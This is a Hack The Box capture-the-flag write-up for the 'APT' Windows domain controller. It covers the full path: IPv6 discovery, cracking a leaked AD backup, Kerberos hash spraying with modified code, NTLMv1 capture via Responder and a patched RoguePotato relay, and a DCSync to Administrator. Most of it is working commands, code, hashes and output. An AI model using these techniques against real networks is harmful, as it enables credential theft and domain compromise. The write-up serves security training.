HTB: APT
Recon
Initial Nmap Scan
The initial TCP scan reveals an extremely limited attack surface. Only two ports are open: HTTP on port 80 and MSRPC on port 135. There are no signs of SMB (445), LDAP (389), Kerberos (88), or WinRM (5985) that would typically indicate a Windows Domain Controller. This sparse result immediately suggests that the host is heavily firewalled on IPv4 and that we will need to find an alternative access vector to reach the full suite of Windows services.
$ sudo nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.213
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
$ nmap -p 80,135 -sCV 10.10.10.213
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Gigantic Hosting | Home
135/tcp open msrpc Microsoft Windows RPC
Website — TCP 80
The website belongs to a hosting company called "Gigantic Hosting." The site is static with a contact form that submits to an internal IP address (10.13.38.16), which is a leftover from the HTB Endgame Hades environment. A comment in the HTML source confirms it was mirrored using HTTrack Website Copier. Directory brute-forcing with Feroxbuster yields nothing useful, and the site does not contain any exploitable vulnerabilities. This is a dead end — the real attack path lies through RPC.
IPv6 Discovery via IOXIDResolver
RPC Endpoint Enumeration
TCP port 135 hosts the RPC Endpoint Mapper and COM Service Control Manager. Using rpcmap.py from Impacket with a direct TCP string binding, we can enumerate the RPC endpoints registered on the host. Among the results, the IObjectExporter interface (UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A) stands out — this is the IOXIDResolver interface, famously used in the Potato family of privilege escalation exploits.
$ rpcmap.py 'ncacn_ip_tcp:10.10.10.213'
Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 99FCFEC4-5260-101B-BBCB-00AA0021347A v0.0
Enumerating Network Interfaces
The IOXIDResolver interface exposes a method called ServerAlive2 that returns the network bindings of the host, including IPv6 addresses. This is a well-documented technique that allows unauthenticated enumeration of a server's network interfaces. Using a POC script based on the research from airbus-seclab, we can query this interface and retrieve the IPv6 addresses of the target.
$ python3 IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::9514:421b:5cde:a7da
The Windows Firewall on APT is configured to block most incoming IPv4 connections, but the IPv6 interface is far more permissive. By scanning the IPv6 address, we can access the full range of Windows Domain Controller services that are hidden behind the IPv4 firewall. This is a common misconfiguration in enterprise environments where IPv6 security is neglected in favor of IPv4-focused firewall rules.
Full Port Scan over IPv6
Scanning the discovered IPv6 address reveals a dramatically different attack surface. The host is clearly a Windows Domain Controller running DNS, Kerberos, LDAP, SMB, and WinRM — all the services we would expect from a DC, but none of which were accessible over IPv4.
$ nmap -6 -p 53,80,88,135,389,445,464,593,636,3268,3269,5985,9389 -sCV dead:beef::b885:d62a:d679:573f
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (SSL)
3268/tcp open globalcatLDAP
5985/tcp open wsman WinRM
9389/tcp open adws .NET Message Framing
SMB — Backup Share
With SMB accessible over IPv6, we can enumerate shares anonymously. CrackMapExec (with IPv6 support from version 5.1.6dev) or smbclient both reveal a share named backup with READ permissions for anonymous users. This share contains a single file: backup.zip.
$ smbclient '\\\\dead:beef::b885:d62a:d679:573f\\backup'
Anonymous login successful
smb: \> dir
backup.zip A 10650961 Thu Sep 24 03:30:32 2020
smb: \> get backup.zip
The ZIP file contains a backup of an Active Directory environment — specifically the ntds.dit database and the registry SYSTEM and SECURITY hives. These are the exact files needed to dump all AD credentials offline using tools like secretsdump.py. However, the archive is password-protected.
$ unzip -l backup.zip
Length Date Time Name
--------- ---------- ----- ----
50331648 2020-09-23 19:38 Active Directory/ntds.dit
16384 2020-09-23 19:38 Active Directory/ntds.jfm
262144 2020-09-23 19:22 registry/SECURITY
12582912 2020-09-23 19:22 registry/SYSTEM
Cracking the ZIP Password
Using zip2john to extract the hash and hashcat with mode 17220 (PKZIP Compressed Multi-File), the password cracks quickly from the RockYou wordlist:
$ zip2john backup.zip > backup.zip.hash
$ hashcat -m 17220 backup.zip.hash /usr/share/wordlists/rockyou.txt --user
...iloveyousomuch
Dumping AD Hashes
With the ZIP decrypted, secretsdump.py can extract all NTLM hashes from the offline AD database. The dump contains approximately 2000 user accounts with their corresponding hashes — a treasure trove of potential credentials, but we need to determine which of these accounts still exist on the live system.
$ secretsdump.py -system registry/SYSTEM -ntds "Active Directory/ntds.dit" LOCAL > backup_ad_dump
$ grep ':::' backup_ad_dump | wc -l
2000
The backup represents a snapshot of the AD environment at a previous point in time. Most of the 2000 users from the backup may no longer exist on the current live domain. The Administrator hash from the backup does not work against the live system, confirming that passwords have been changed since the backup was created. We need to find accounts that exist in both the backup and the live AD.
User Discovery via Kerbrute
Since Kerberos is available on IPv6 (TCP 88), we can use kerbrute to enumerate valid usernames against the live domain. Kerbrute sends AS-REQ requests and distinguishes between "user not found" errors and "pre-auth required" responses, which indicates a valid account. We extract the list of 2000 usernames from the backup dump and test them all.
Getting kerbrute to work with IPv6 requires adding the IPv6 address to /etc/hosts mapped to apt.htb and htb.local, then specifying the domain controller hostname rather than a raw IPv6 address.
$ kerbrute userenum -d apt.htb --dc apt.htb users
2021/04/02 13:54:51 > [+] VALID USERNAME: APT$@htb.local
2021/04/02 13:54:52 > [+] VALID USERNAME: Administrator@htb.local
2021/04/02 13:58:39 > [+] VALID USERNAME: henry.vinson@htb.local
2021/04/02 14:11:40 > Done! Tested 2000 usernames (3 valid)
Out of 2000 users from the backup, only henry.vinson is a valid non-system account on the live domain. This is our target — but the NTLM hash from the backup does not work for this account on the live system, meaning the password has been changed.
Kerberos Hash Brute Force
SMB Brute Force Blocked by Wail2Ban
The logical next step is password reuse: try all 2000 NTLM hashes from the backup against the single valid username henry.vinson. However, attempting this over SMB with CrackMapExec triggers a brute-force protection mechanism called wail2ban installed on the host. After approximately 60 failed authentication attempts, the box stops responding entirely to SMB connections from our IP, requiring a box reset to regain access. This forces us to find an alternative authentication channel.
Modified pyKerbrute
Kerberos pre-authentication provides an ideal alternative channel. The idea is to test each hash from the backup as a Kerberos encryption key for henry.vinson. If the hash is correct, the AS-REQ will be accepted (or at least not return a pre-auth failure), confirming the credential. pyKerbrute is close to what we need — it accepts a list of users and a single hash — but we need the inverse: a single user with a list of hashes. We modify the main loop to iterate over hashes instead of usernames, calling the existing passwordspray_tcp function for each one.
if __name__ == '__main__':
kdc_a = sys.argv[1]
user_realm = sys.argv[2].upper()
username = sys.argv[3]
print('[*] DomainControlerAddr: %s' % kdc_a)
print('[*] DomainName: %s' % user_realm)
print('[*] Username: %s' % username)
print('[*] Using TCP to test a single username with list of hashes.')
with open(sys.argv[4], 'r') as f:
ntlm_list = list(map(str.strip, f.readlines()))
for h in ntlm_list:
user_key = (RC4_HMAC, h.decode('hex'))
passwordspray_tcp(user_realm, username, user_key, kdc_a, h)
Running the modified script against the full hash list finds a valid credential:
$ python2 kerbBruteHash.py apt.htb htb.local henry.vinson hashes-ntlm
[*] DomainControlerAddr: apt.htb
[*] DomainName: HTB.LOCAL
[*] Username: henry.vinson
[+] Valid Login: henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb
henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb — One of the 2000 hashes from the backup still works for this user on the live domain. This is a password reuse finding: the user's NTLM hash was not changed when the AD was rebuilt.
Shell as henry.vinson_adm
Remote Registry Discovery
With valid NTLM credentials for henry.vinson, we can access the remote registry. Using either the Windows API from a Windows attack station (via Mimikatz pass-the-hash) or Impacket's reg.py from Linux, we can enumerate registry keys. While HKLM access is denied, HKCU (the current user's hive) is accessible because henry.vinson has an active session on the host.
$ reg.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb \
-dc-ip htb.local htb.local/henry.vinson@htb.local query \
-keyName HKU\\SOFTWARE\\GiganticHostingManagementSystem
HKU\SOFTWARE\GiganticHostingManagementSystem
UserName REG_SZ henry.vinson_adm
PassWord REG_SZ G1#Ny5@2dvht
The registry key HKU\SOFTWARE\GiganticHostingManagementSystem stores credentials for the henry.vinson_adm account — an administrative account with the password G1#Ny5@2dvht. The _adm suffix strongly suggests elevated privileges, and this account has WinRM access.
WinRM Shell
$ evil-winrm -i htb.local -u henry.vinson_adm -p 'G1#Ny5@2dvht'
Evil-WinRM shell v2.4
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents>
Privilege Escalation — Net-NTLMv1
PowerShell History Hint
Enumeration of the henry.vinson_adm account reveals a PowerShell history file that contains a critical hint:
PS> cat C:\Users\henry.vinson_adm\AppData\Roaming\microsoft\windows\powershell\PSREadline\ConsoleHost_history.txt
$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}
This command sets LmCompatibilityLevel to 2, which means the server accepts NTLMv1 authentication. NTLMv1 is cryptographically weak and can be cracked using rainbow tables. Verifying the current setting on the host confirms it is still set to 2:
PS> Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel
lmcompatibilitylevel : 2
Strategy — Cracking Net-NTLMv1
The goal is to capture a Net-NTLMv1 challenge-response from the SYSTEM account (APT$). Net-NTLMv1 uses weak DES-based encryption, and crack.sh maintains precomputed rainbow tables for the fixed challenge 1122334455667788. By controlling the NTLM challenge in a capture server, we can set it to this known value and then submit the resulting response to crack.sh for instant decryption, recovering the NTLM hash of the machine account.
crack.sh built rainbow tables for the specific 8-byte NTLM challenge 1122334455667788. Normally, a unique server-generated challenge prevents rainbow table attacks. But when we control the server (Responder or a custom RPC server), we can force this specific challenge, making the rainbow table lookup trivial. The service returns the NT hash within minutes for free.
Method 1 — Defender + Responder (Unintended)
Windows Defender can be instructed to scan a specific file path, including UNC paths on remote SMB shares. When Defender scans a file on an attacker-controlled share, it authenticates as the SYSTEM account (APT$). By running Responder with the --lm flag to force LM downgrade and a modified challenge of 1122334455667788, we capture the Net-NTLMv1 response.
# In /etc/responder/Responder.conf, set challenge to 1122334455667788
$ sudo responder -I tun0 --lm
PS> &"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File \\10.10.14.9\share\file.txt
Responder captures the Net-NTLMv1 hash of the APT$ machine account:
[SMB] NTLMv1 Client : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788
Method 2 — RoguePotato + Custom RPC Server (Intended)
The intended path uses RoguePotato to trigger an NTLM authentication from SYSTEM to a custom RPC server. This requires significant modifications to both RoguePotato (IPv6 support) and ntlmrelayx (custom RPC relay server with fixed challenge). The key changes include:
- RoguePotato IPv6 patch — The
remote_ip_mbbuffer is expanded from 16 to 40 bytes to accommodate IPv6 address strings, and the wide-character conversion is updated accordingly. - Custom RPC relay server — Built on a patched version of Impacket's ntlmrelayx, adding an RPC server that intercepts NTLM negotiation, sets the challenge to
1122334455667788, disables Extended Session Security (ESS), and prints the captured response. - IPv6 support in Impacket — The
ProtocolClient.__init__method is patched to properly handle IPv6 addresses in thenetlocfield, which was incorrectly splitting on colons.
# Key modification in rpcrelayserver.py do_ntlm_negotiate:
def do_ntlm_negotiate(self, token):
self.target = self.server.config.target.getTarget(None)
self.client = smbrelayclient.SMBRelayClient(self.server.config, self.target)
if not self.client.initConnection():
raise Exception("Failed to connect to SMB")
self.challengeMessage = self.client.sendNegotiate(token)
# Force the known challenge for crack.sh rainbow tables
self.challengeMessage['challenge'] = bytes.fromhex('1122334455667788')
data = bytearray(self.challengeMessage.getData())
data[22] = data[22] & 0xf7 # Disable ESS
self.challengeMessage = bytes(data)
Running the custom RPC server and triggering RoguePotato produces the same Net-NTLMv1 hash as the Defender method, confirming both paths lead to the same result:
$ python rpcsrv.py
[+] APT$::HTB:95aca8c7248774cb427e1ae5b8d5ce6830a49b5bb858d384:95aca8c7248774cb427e1ae5b8d5ce6830a49b5bb858d384:1122334455667788 ntlm
Shell as Administrator
Cracking with crack.sh
Submitting the Net-NTLMv1 hash to crack.sh returns the NTLM hash of the APT$ machine account within minutes. The rainbow table lookup exploits the weak DES encryption in NTLMv1 to recover the original NT hash used to generate the challenge response.
Dumping Live AD Hashes
With the machine account NT hash, we can use secretsdump.py to perform a DCSync attack and dump all domain credentials from the live AD, including the Administrator hash:
$ secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 'htb.local/APT$@htb.local'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
Administrator Shell
The Administrator NTLM hash grants full access to the domain controller via WinRM:
$ evil-winrm -u administrator -H c370bddf384a691d811ff3495e8a72e2 -i apt.htb
Evil-WinRM shell v2.4
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\desktop\root.txt
d93e6432************************